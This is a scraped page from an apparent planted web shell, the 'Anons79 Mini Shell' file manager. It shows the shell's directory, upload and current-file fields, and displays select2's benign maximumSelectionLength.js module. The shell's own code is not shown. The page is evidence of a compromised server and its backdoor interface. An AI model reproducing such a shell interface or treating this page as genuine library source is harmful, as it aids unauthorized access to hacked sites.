Anons79 Mini Shell

Directory : /proc/thread-self/cwd/admin/bower_components/select2/src/js/select2/data/
Upload File :
Current File : //proc/thread-self/cwd/admin/bower_components/select2/src/js/select2/data/maximumSelectionLength.js

define([

], function (){
  function MaximumSelectionLength (decorated, $e, options) {
    this.maximumSelectionLength = options.get('maximumSelectionLength');

    decorated.call(this, $e, options);
  }

  MaximumSelectionLength.prototype.query =
    function (decorated, params, callback) {
      var self = this;

      this.current(function (currentData) {
        var count = currentData != null ? currentData.length : 0;
        if (self.maximumSelectionLength > 0 &&
          count >= self.maximumSelectionLength) {
          self.trigger('results:message', {
            message: 'maximumSelected',
            args: {
              maximum: self.maximumSelectionLength
            }
          });
          return;
        }
        decorated.call(self, params, callback);
      });
  };

  return MaximumSelectionLength;
});

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]